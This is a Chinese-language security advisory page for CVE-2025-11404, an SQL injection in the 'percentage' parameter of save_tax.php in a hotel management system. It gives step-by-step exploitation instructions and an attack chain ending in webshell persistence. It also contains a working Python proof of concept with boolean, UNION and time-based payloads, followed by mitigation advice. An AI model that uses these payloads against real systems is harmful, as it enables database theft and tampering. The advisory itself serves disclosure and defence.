IPBUF安全漏洞报告
English
CVE-2025-11404 CVSS 6.3 中危

CVE-2025-11404:SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11404
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11404Web漏洞中危漏洞save_tax.phppercentage参数

漏洞概述

CVE-2025-11404是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入漏洞。该漏洞位于系统的/pages/save_tax.php文件中,具体涉及对percentage参数的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,实现对后台数据库的未授权操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。一旦利用成功,将对系统的机密性、完整性和可用性均产生低级别影响。

该漏洞已被公开披露,并可能已被攻击者利用。由于该系统常用于中小型酒店和旅馆的业务管理,涉及客户信息、订单数据、税务记录等敏感数据,SQL注入漏洞可能导致数据泄露、数据篡改甚至整个数据库被恶意操控,对业务运营和信息安全构成严重威胁。

值得注意的是,该漏洞的发现者通过VulDB平台提交了漏洞报告,并已在GitHub等公开渠道发布了相关的漏洞利用信息(参考链接:https://github.com/TThuyyy/cve1/issues/12),这意味着该漏洞的利用门槛较低,任何具备基本Web安全知识的攻击者都可能实施攻击。

技术细节

该SQL注入漏洞存在于SourceCodester酒店与旅馆管理系统1.0版本的/pages/save_tax.php文件中。漏洞的根本原因是该文件在对percentage参数进行处理时,未对该参数进行充分的输入验证和参数化处理,直接将用户输入的数据拼接到SQL查询语句中执行。

从技术层面分析,save_tax.php文件负责处理税率保存相关的业务逻辑。当系统接收到用户提交的percentage参数时,未使用预编译语句(Prepared Statements)或存储过程,而是直接将参数值嵌入到SQL INSERT或UPDATE语句中。攻击者可以通过在percentage参数中注入SQL语句片段(如单引号闭合、UNION查询、SLEEP延时注入等),绕过正常的业务逻辑,直接操作底层数据库。

利用方式如下:
1. 攻击者首先需要获取系统的低权限账户(PR:L要求),这可以通过默认凭据、暴力破解或其他途径获得;
2. 登录系统后,定位到包含save_tax.php功能的页面(如税率设置页面);
3. 拦截正常的HTTP请求,将percentage参数的值替换为恶意SQL注入payload;
4. 提交修改后的请求,服务器将执行攻击者注入的SQL语句;
5. 攻击者可以通过UNION SELECT提取数据库中的敏感信息(如管理员密码哈希、客户信息等),或通过UPDATE/DELETE语句篡改/删除数据;
6. 在某些情况下,攻击者还可以利用SQL注入进行权限提升,获取数据库管理员权限。

该漏洞的利用复杂度较低,且已存在公开的PoC代码,攻击者可以轻松复现并实施攻击,对系统安全构成实质性威胁。

攻击链分析

STEP 1
信息收集
攻击者通过搜索引擎、Shodan等工具识别运行SourceCodester酒店与旅馆管理系统1.0版本的目标服务器,并收集系统的相关技术信息。
STEP 2
获取低权限账户
攻击者通过默认凭据、暴力破解、社会工程学或其他途径获取系统的低权限用户账户,以满足漏洞利用的认证要求(PR:L)。
STEP 3
定位漏洞端点
攻击者登录系统后,定位到/pages/save_tax.php文件对应的功能页面(如税率管理页面),分析其请求参数和提交方式。
STEP 4
构造注入Payload
攻击者针对percentage参数构造SQL注入payload,包括布尔盲注、UNION联合查询、时间盲注等多种注入方式。
STEP 5
执行注入攻击
攻击者通过拦截和修改HTTP请求,将恶意payload注入到percentage参数中并提交,服务器执行恶意SQL语句。
STEP 6
数据提取与利用
攻击者通过注入的SQL语句提取数据库中的敏感信息(如管理员凭据、客户数据),或篡改/删除关键业务数据。
STEP 7
权限提升与持久化
在某些情况下,攻击者可利用SQL注入进一步获取数据库管理员权限,甚至通过写入Webshell等方式实现对服务器的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11404 SQL Injection PoC # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerable file: /pages/save_tax.php # Vulnerable parameter: percentage import requests # Target configuration TARGET_URL = "http://target-host.com" LOGIN_URL = f"{TARGET_URL}/login.php" SAVE_TAX_URL = f"{TARGET_URL}/pages/save_tax.php" # Attacker credentials (low privilege account required) USERNAME = "test_user" PASSWORD = "test_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for the 'percentage' parameter # Boolean-based blind SQL injection test sqli_payload = "1' AND 1=1-- -" # Alternative: Union-based SQL injection to extract data union_payload = "1' UNION SELECT 1,user(),database(),version()-- -" # Alternative: Time-based blind SQL injection time_payload = "1' AND SLEEP(5)-- -" # Step 3: Send the malicious request data = { "percentage": sqli_payload, # Additional parameters may be required depending on the form "tax_name": "test", "submit": "Save" } response = session.post(SAVE_TAX_URL, data=data) # Step 4: Analyze response for SQL injection confirmation if response.status_code == 200: print("[+] Request successful") print(f"[+] Response length: {len(response.text)}") # Check for SQL error messages or data leakage if "error" in response.text.lower() or "sql" in response.text.lower(): print("[!] Possible SQL injection detected in response") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 5: Extract database information using UNION-based injection extract_data = { "percentage": "1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -", "tax_name": "test", "submit": "Save" } response = session.post(SAVE_TAX_URL, data=extract_data) print(f"[+] Extracted data: {response.text}")

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)限制/pages/save_tax.php文件的访问权限,仅允许可信IP地址访问;2)在Web服务器层面部署WAF规则,拦截包含SQL关键字(如UNION、SELECT、SLEEP等)的异常请求;3)对percentage参数实施严格的服务端输入验证,仅允许数字和小数点输入;4)修改数据库账户权限,移除不必要的DML和DDL权限;5)监控系统日志,及时发现异常的数据库查询行为;6)定期备份数据库,以便在遭受攻击时快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表